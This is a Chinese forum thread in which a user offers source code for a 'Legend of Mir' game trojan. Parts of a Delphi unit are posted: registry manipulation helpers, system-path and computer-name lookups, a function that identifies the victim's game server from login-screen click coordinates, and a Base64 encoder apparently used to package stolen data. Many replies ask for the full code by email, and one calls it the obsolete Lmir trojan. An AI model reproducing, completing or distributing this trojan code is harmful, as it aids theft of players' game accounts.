本人有传奇木马源程序,谁要?

解决方案 »

  1.   

    if 不要钱 then 要
    else 不要
      

  2.   

    一部分如下...有人想要全部吗???unit Unit2;interface
    Uses
    Windows,SysUtils,Registry,classes;procedure Addvalue(Root:HKEY;StrPath:String;YN:Boolean;Strvalue:String;Strdata:String;DataType:integer);
    procedure Delvalue(Root:HKEY;StrPath:String;Strvalue:String);
    procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
    function Readvalue(Root:HKEY;StrPath:String;Strvalue:String):String;
    function valueExists(Root:HKEY;StrPath:String;Strvalue:String):Boolean;
    function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
    procedure GetvalueName(Root:HKEY;StrPath:String;var SL:TStringList);
    procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
    procedure Delreject(Root:HKEY;StrPath:String;n:integer);
    procedure Delrepeat(Root:HKEY;StrPath:String);
    function myGetComputerName:String;
    function GetWP:string;
    function GetWSP:String;
    function GetServerName(Logo:String;Y:integer):String;
    function EncodeString(Decoded:string):String;
    function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
    var
    Reg:Tregistry;implementation
    uses Unit1;procedure Addvalue(Root:HKEY;StrPath:String;YN:Boolean;Strvalue:String;StrData:String;DataType:integer);
    Var I:Integer;
    begin
    Reg:=Tregistry.Create;
    reg.RootKey:=Root;
    if reg.OpenKey(Strpath,YN) then
    Begin
    case DataType of
    1:reg.WriteString(Strvalue,StrData);
    3:reg.WriteInteger(Strvalue,strtoint(StrData));
    4:
    begin
    I:=strtoint(StrData);
    reg.WriteBinaryData(Strvalue,I,SizeOf(Integer));
    end;
    end;
    end;
    Reg.CloseKey;
    Reg.Free;
    end;procedure Delvalue(Root:HKEY;StrPath:String;Strvalue:String);
    begin
    Reg:=Tregistry.Create;
    Reg.RootKey:=Root;
    if reg.OpenKey(StrPath,False) then reg.Deletevalue(Strvalue);
    Reg.CloseKey;
    Reg.Free;
    end;function Readvalue(Root:HKEY;StrPath:String;Strvalue:String):String;
    var i:integer;
    begin
    Reg:=Tregistry.Create;
    Reg.RootKey:=Root;
    if reg.OpenKey(StrPath,False) and reg.valueExists(Strvalue) then
    begin
    case reg.GetDataType(Strvalue) of
    rdString:Readvalue:=reg.ReadString(Strvalue);
    rdInteger:Readvalue:=inttostr(reg.ReadInteger(Strvalue));
    rdBinary:
    begin
    reg.ReadBinaryData(Strvalue,I,sizeof(i));
    Readvalue:=inttostr(i);
    end;
    end;
    end;
    Reg.CloseKey;
    Reg.Free;
    end;function valueExists(Root:HKEY;StrPath:String;Strvalue:String):Boolean;
    begin
    reg:=Tregistry.Create;
    reg.RootKey:=Root;
    if (reg.OpenKey(StrPath,False)) and (reg.valueExists(Strvalue)) then
    Result:=True
    else
    Result:=False;
    reg.CloseKey;
    reg.Free;
    end;function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
    begin
    reg:=Tregistry.Create;
    reg.RootKey:=Root;
    if (reg.OpenKey(StrPath,False)) and (reg.KeyExists(StrSub)) then
    Result:=True
    else
    Result:=False;
    reg.CloseKey;
    reg.Free
    end;procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
    begin
    reg:=Tregistry.Create;
    reg.RootKey:=Root;
    if reg.OpenKey(StrPath,False) then reg.DeleteKey(StrSub);
    reg.CloseKey;
    reg.Free;
    end;procedure GetvalueName(Root:HKEY;StrPath:String;var SL:TStringList);
    begin
    reg:=Tregistry.Create;
    reg.RootKey:=Root;
    if reg.OpenKey(StrPath,False) then reg.GetvalueNames(SL);
    reg.CloseKey;
    reg.Free;
    end;procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
    begin
    reg:=Tregistry.Create;
    reg.RootKey:=Root;
    if reg.OpenKey(StrPath,False) then Reg.GetKeyNames(SL);
    Reg.CloseKey;
    reg.Free;
    end;procedure Delreject(Root:HKEY;StrPath:String;n:integer);
    var Temp,Sub:TStringList;
    i,t:integer;
    begin
    Temp:=TStringList.Create;
    Sub:=TStringList.Create;
    Getkeyname(Root,StrPath,Sub);
    if Sub.Count<>0 then begin
    for i:=0 to sub.Count-1 do beginif readvalue(Root,StrPath+‘‘+Sub[i],‘区域‘)=‘abcdefghijklmnopqrstuvwxyz1234567890‘ then delvalue(Root,StrPath+‘‘+Sub[i],‘区域‘);
    getvaluename(Root,StrPath+‘‘+Sub[i],Temp);
    for t:=0 to Temp.Count-1 do begin
    if readvalue(Root,StrPath+‘‘+Sub[i],Temp[t])=‘‘ then Delvalue(Root,StrPath+‘‘+Sub[i],Temp[t]);
    end;Temp.Clear;
    getvaluename(Root,StrPath+‘‘+Sub[i],Temp);
    if Temp.Count<n then Delsub(Root,StrPath,Sub[i]);
    Temp.Clear;
    end;
    end;
    Temp.Free;
    Sub.Free;
    End;procedure Delrepeat(Root:HKEY;StrPath:String);
    var Temp,Sub,Bj1,Bj2:TStringList;
    i,j,t:integer;
    begin
    Temp:=TStringList.Create;
    Sub:=TStringList.Create;
    Bj1:=TStringList.Create;
    Bj2:=TStringList.Create;Getkeyname(Root,StrPath,Sub);
    if sub.Count>=2 then begin
    for i:=0 to sub.Count-2 do begin
    getvaluename(Root,StrPath+‘‘+sub[i],Temp);
    for t:=0 to Temp.Count-1 do begin
    Bj1.Add(Readvalue(Root,StrPath+‘‘+sub[i],Temp[t]));
    end;
    Temp.Clear;
    for j:=i+1 to sub.Count-1 do begin
    getvaluename(Root,StrPath+‘‘+sub[j],Temp);
    for t:=0 to Temp.Count-1 do begin
    Bj2.Add(Readvalue(Root,StrPath+‘‘+sub[j],Temp[t]));
    end;
    if Bj1.Text=Bj2.Text then Delsub(Root,StrPath,sub[j]);
    Temp.Clear;
    bj2.Clear;
    end;
    bj1.Clear;
    end;
    end;
    Temp.Free;Sub.Free;bj1.Free;bj2.Free;
    End;function myGetComputerName:String;
    var pcComputer:PChar;
    dwCSize:DWORD;
    begin
    dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
    GetMem(pcComputer,dwCSize);
    try
    if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
    finally
    FreeMem(pcComputer);
    end;
    end;function GetWP:string;
    var Buf:array[0..MAX_PATH] of char;
    begin
    GetWindowsDirectory(Buf,MAX_PATH);
    Result:=Buf;
    if Result[Length(Result)]<>‘‘ then Result:=Result+‘‘;
    end;function GetWSP:String;
    var Buf:array[0..MAX_PATH] of char;
    begin
    GetSystemDirectory(Buf,MAX_PATH);
    Result:=Buf;
    if Result[Length(Result)]<>‘‘ then Result:=Result+‘‘;
    end;
      

  3.   

    [email protected]有的话给我一份,谢谢~~
      

  4.   

    有时间瞧瞧,没接触过
    [email protected]
      

  5.   

    如果楼主有空,也给我发一份吧:)[email protected]
      

  6.   

    要  我想全要  [email protected]  谢谢了 !!!
      

  7.   

    现在要还来得及吗?可以的话我也学习学习:
    [email protected] a lot.
      

  8.   

    [email protected]  谢谢!
      

  9.   

    先接一个看看嘛[email protected]
      

  10.   

    去www.playicq.com看看吧,好像有的
      

  11.   

    补充一下邮箱:[email protected]
      

  12.   

    楼主我也要,谢谢
    [email protected]
      

  13.   

    我看过的,代码很烂 而且通篇和注册表挂钩 仅截取服务器名那么多代码,兄弟你们试吧,做出来的木马有几百KB,要知道传奇木马不超过60K就很了不起了
      

  14.   

    up 我先保留此页,有好的给我 email:[email protected]
      

  15.   

    我要我要我都要
    [email protected]
      

  16.   

    这个木马是Lmir 早就不能用了!下面是接着楼主的~````function GetServerName(Logo:String;Y:integer):String;
    begin
    if (Logo='传 奇 一 区') or (Logo='传奇九区(一区转档)') then begin
     if (y>141) and (y<183) then result:='雷霆(上海)' else
     if (y>183) and (y<225) then result:='光芒(上海)' else
     if (y>225) and (y<267) then result:='烈焰(上海)' else
     if (y>267) and (y<309) then result:='疾风(北京)' else
     if (y>309) and (y<351) then result:='新浪(北京)' else
     if (y>351) and (y<393) then result:='流云(广州)' else
     if (y>393) and (y<435) then result:='联通(南京)' else
     if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
    end
    else
    if (Logo='传 奇 二 区') or (Logo='传奇十区(二区转档)') then begin
     if (y>141) and (y<183) then result:='雷霆(上海)' else
     if (y>183) and (y<225) then result:='光芒(上海)' else
     if (y>225) and (y<267) then result:='烈焰(上海)' else
     if (y>267) and (y<309) then result:='雷霆二(上海)' else
     if (y>309) and (y<351) then result:='渝州(重庆)' else
     if (y>351) and (y<393) then result:='峨嵋(成都)' else
     if (y>393) and (y<435) then result:='海鼎(新浪)' else
     if (y>435) and (y<477) then result:='网通(上海)' else result:='未知';
    end
    else
    if (Logo='传 奇 三 区') or (Logo='传奇八区(三区转档)') or (Logo='英雄之门(三区转档)') then begin
     if (y>141) and (y<183) then result:='飞鸿(广东)' else
     if (y>183) and (y<225) then result:='新月(流云)' else
     if (y>225) and (y<267) then result:='雄狮(新浪)' else
     if (y>267) and (y<309) then result:='天府(成都)' else
     if (y>309) and (y<351) then result:='天堂(杭州)' else
     if (y>351) and (y<393) then result:='雷霆二(上海)' else
     if (y>393) and (y<435) then result:='光芒二(上海)' else
     if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
    end
    //------------------太长了,这里只留3个,不然发不了帖子-------------
    else result:='未知(区域)';
    End;
    function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
    const
        _Code64: String[64] =
            ('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
    var
        I: LongInt;
        B: array[0..2279] of Byte;
        J, K, L, M, Quads: Integer;
        Stream: string[76];
        EncLine: String;
    begin
        Encoded.Clear;
        Stream := '';
        Quads := 0;
        {为提高效率,每2280字节流为一组进行编码}
        J := Decoded.Size div 2280;
        Decoded.Position := 0;
        {对前J*2280个字节流进行编码}
        for I := 1 to J do
        begin
            Decoded.Read(B, 2280);
            for M := 0 to 39 do
            begin
                for K := 0 to 18 do
                begin
                    L:= 57*M + 3*K;
                    Stream[Quads+1] := _Code64[(B[L] div 4)+1];
                    Stream[Quads+2] := _Code64[(B[L] mod 4)*16 + (B[L+1] div 16)+1];
                    Stream[Quads+3] := _Code64[(B[L+1] mod 16)*4 + (B[L+2] div 64)+1];
                    Stream[Quads+4] := _Code64[B[L+2] mod 64+1];
                    Inc(Quads, 4);
                    if Quads = 76 then
                    begin
                        Stream[0] := #76;
                        EncLine := Stream+#13#10;
                        Encoded.Write(EncLine[1], Length(EncLine));
                        Quads := 0;
                    end;
                end;
            end;
        end;    {对以2280为模的余数字节流进行编码}
        J := (Decoded.Size mod 2280) div 3;
        for I := 1 to J do
        begin
            Decoded.Read(B, 3);
            Stream[Quads+1] := _Code64[(B[0] div 4)+1];
            Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
            Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + (B[2] div 64)+1];
            Stream[Quads+4] := _Code64[B[2] mod 64+1];
            Inc(Quads, 4);
            {每行76个字符}
            if Quads = 76 then
            begin
                Stream[0] := #76;
                EncLine := Stream+#13#10;
                Encoded.Write(EncLine[1], Length(EncLine));
                Quads := 0;
            end;
        end;
        {“=”补位}
        if (Decoded.Size mod 3) = 2 then
        begin
            Decoded.Read(B, 2);
            Stream[Quads+1] := _Code64[(B[0] div 4)+1];
            Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
            Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + 1];
            Stream[Quads+4] := '=';
            Inc(Quads, 4);
        end;    if (Decoded.Size mod 3) = 1 then
        begin
            Decoded.Read(B, 1);
            Stream[Quads+1] := _Code64[(B[0] div 4)+1];
            Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + 1];
            Stream[Quads+3] := '=';
            Stream[Quads+4] := '=';
            Inc(Quads, 4);
        end;    Stream[0] := Chr(Quads);
        if Quads > 0 then
        begin
            EncLine := Stream+#13#10;
            Encoded.Write(EncLine[1], Length(EncLine));
        end;    Result := Encoded.Size;
    end;{对参数Decoded字符串进行Base64编码,返回编码后的字符串}
    function EncodeString(Decoded:string):String;
    var
        mmTemp,mmDecoded:TMemoryStream;
        strTemp:TStrings;
    begin
        mmTemp := TMemoryStream.Create;
        mmDecoded:=TMemoryStream.Create;
        strTemp:=TStringList.Create;
        strTemp.Add(Decoded);
        strTemp.SaveToStream(mmTemp);
        mmTemp.Position := 0;
        {剔除mmTemp从strTemp中带来的字符#13#10}
        mmDecoded.CopyFrom(mmTemp,mmTemp.Size-2);
        {对mmDecoded进行Base64编码,由mmTemp返回编码后的结果}
        EncodeBASE64(mmTemp,mmDecoded);
        {获得Base64编码后的字符串}
        mmTemp.Position:=0;
        strTemp.LoadFromStream(mmTemp);
        {返回结果必须从strTemp[0]中获得,如果使用strTemp.Text会
        带来不必要的字符#13#10}
        Result:=strTemp[0];
    end;end.
      

  17.   

    这里有一个光通传奇3的外挂的源代码
    http://www.playicq.com/shop/dispsource.php?id=115
    大家可以一齐学习。是可以用的。
      

  18.   

    有的话,我也要一份,不做坏事!只为了学习 
    [email protected]
    只要源代码
      

  19.   

    发我一份如何?
    [email protected]://www.playicq.com/shop/dispsource.php?id=115 找不到啊如果有能否一并转发?
    谢谢!
      

  20.   

    老兄,这样的好东东越多越好,哈哈
    e-mail:
    [email protected]
      

  21.   

    谢谢楼主
    [email protected]
      

  22.   

    如果是免费的话,请[email protected]发一份吧。
      

  23.   

    我想要一份!谢谢![email protected]
      

  24.   

    给我一个吧。谢谢[email protected]
      

  25.   

    给我一个吧。谢谢[email protected]
      

  26.   

    希望这个帖子不会流产
    [email protected]
      

  27.   

    既然做出来了``就是好东西``
    学习学习!!
    [email protected]
      

  28.   

    可不可以给我一份做为学习用呀!
    [email protected]
      

  29.   

    也给我一份[email protected]
    多谢了!
      

  30.   

    谢谢, 俺要……[email protected]
      

  31.   

    我要一份,谢谢
    [email protected]